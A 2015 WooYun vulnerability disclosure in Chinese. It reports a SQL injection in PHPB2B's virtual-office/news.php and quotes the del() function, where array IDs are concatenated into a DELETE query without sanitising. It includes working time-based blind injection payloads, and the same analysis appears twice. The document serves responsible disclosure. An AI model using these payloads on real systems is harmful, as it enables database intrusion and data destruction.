当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090297

漏洞标题:PHPB2B某处sql注入#4

相关厂商:phpb2b.com

漏洞作者: Th1nk

提交时间:2015-01-07 12:42

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-07: 细节已通知厂商并且等待厂商处理中
2015-01-07: 厂商已经确认,细节仅向厂商公开
2015-01-10: 细节向第三方安全合作伙伴开放
2015-03-03: 细节向核心白帽子及相关领域专家公开
2015-03-13: 细节向普通白帽子公开
2015-03-23: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

PHPB2B某处sql注入#4

详细说明:

PHPB2B某处sql注入
官网下载的最新版本
virtual-office/news.php
73-80行

if (isset($_POST['del'])) {
$result = $companynews->del($_POST['newsid'], $conditions);
if ($result) {
flash("success");
}else {
flash("action_failed");
}
}


post的数据传入del函数,跟入看看。

function del($ids, $conditions = null, $table = null)
{
$del_id = $this->primaryKey;
$tmp_ids = $condition = null;
if (is_array($ids))
{
$tmp_ids = implode(",",$ids);
$cond[] = "{$del_id} IN ({$tmp_ids})";
$this->catchIds = serialize($ids);
}
else
{
$cond[] = "{$del_id}=".intval($ids);
$this->catchIds = $ids;
}
if (!empty($table)) {
$table_name = $this->table_prefix.$table;
}else{
$table_name = $this->getTable();
}
if(!empty($conditions)) {
if(is_array($conditions)) {
$tmp_where_cond = implode(" AND ", $conditions);
$cond[] = $tmp_where_cond;
}
else {
$cond[] = $conditions;
}
}
$this->setCondition($cond);
$sql = "DELETE FROM ".$table_name.$this->getCondition();
$deleted = $this->dbstuff->Execute($sql);
unset($this->condition);
return $deleted;
}


关键在这一句
if (is_array($ids))
{
$tmp_ids = implode(",",$ids);
$cond[] = "{$del_id} IN ({$tmp_ids})";
$this->catchIds = serialize($ids);
}
else
{
$cond[] = "{$del_id}=".intval($ids);
$this->catchIds = $ids;
}
如果传入的ids是个数组的话,就没有intval强制类型转换了,并且两边没有用单引号括起来。于是这里出现了注入,无视GPC。
因为是delete型,时间盲注。
演示。
POST提交url
localhost/phpb2b/virtual-office/news.php
提交内容
del=1&newsid[]=1123,123)||if(1=1,sleep(3),0)%23
成功延时
del=1&newsid[]=1123,123)||if(1=2,sleep(3),0)%23
不延时
PS:工作人员在测试时,一定记得先加上一条新闻,确保表中有数据

漏洞证明:

PHPB2B某处sql注入
官网下载的最新版本
virtual-office/news.php
73-80行

if (isset($_POST['del'])) {
$result = $companynews->del($_POST['newsid'], $conditions);
if ($result) {
flash("success");
}else {
flash("action_failed");
}
}


post的数据传入del函数,跟入看看。

function del($ids, $conditions = null, $table = null)
{
$del_id = $this->primaryKey;
$tmp_ids = $condition = null;
if (is_array($ids))
{
$tmp_ids = implode(",",$ids);
$cond[] = "{$del_id} IN ({$tmp_ids})";
$this->catchIds = serialize($ids);
}
else
{
$cond[] = "{$del_id}=".intval($ids);
$this->catchIds = $ids;
}
if (!empty($table)) {
$table_name = $this->table_prefix.$table;
}else{
$table_name = $this->getTable();
}
if(!empty($conditions)) {
if(is_array($conditions)) {
$tmp_where_cond = implode(" AND ", $conditions);
$cond[] = $tmp_where_cond;
}
else {
$cond[] = $conditions;
}
}
$this->setCondition($cond);
$sql = "DELETE FROM ".$table_name.$this->getCondition();
$deleted = $this->dbstuff->Execute($sql);
unset($this->condition);
return $deleted;
}


关键在这一句
if (is_array($ids))
{
$tmp_ids = implode(",",$ids);
$cond[] = "{$del_id} IN ({$tmp_ids})";
$this->catchIds = serialize($ids);
}
else
{
$cond[] = "{$del_id}=".intval($ids);
$this->catchIds = $ids;
}
如果传入的ids是个数组的话,就没有intval强制类型转换了,并且两边没有用单引号括起来。于是这里出现了注入,无视GPC。
因为是delete型,时间盲注。
演示。
POST提交url
localhost/phpb2b/virtual-office/news.php
提交内容
del=1&newsid[]=1123,123)||if(1=1,sleep(3),0)%23
成功延时
del=1&newsid[]=1123,123)||if(1=2,sleep(3),0)%23
不延时
PS:工作人员在测试时,一定记得先加上一条新闻,确保表中有数据

修复方案:

过滤

版权声明:转载请注明来源 Th1nk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-01-07 23:38

厂商回复:

最新版已修复

最新状态:

暂无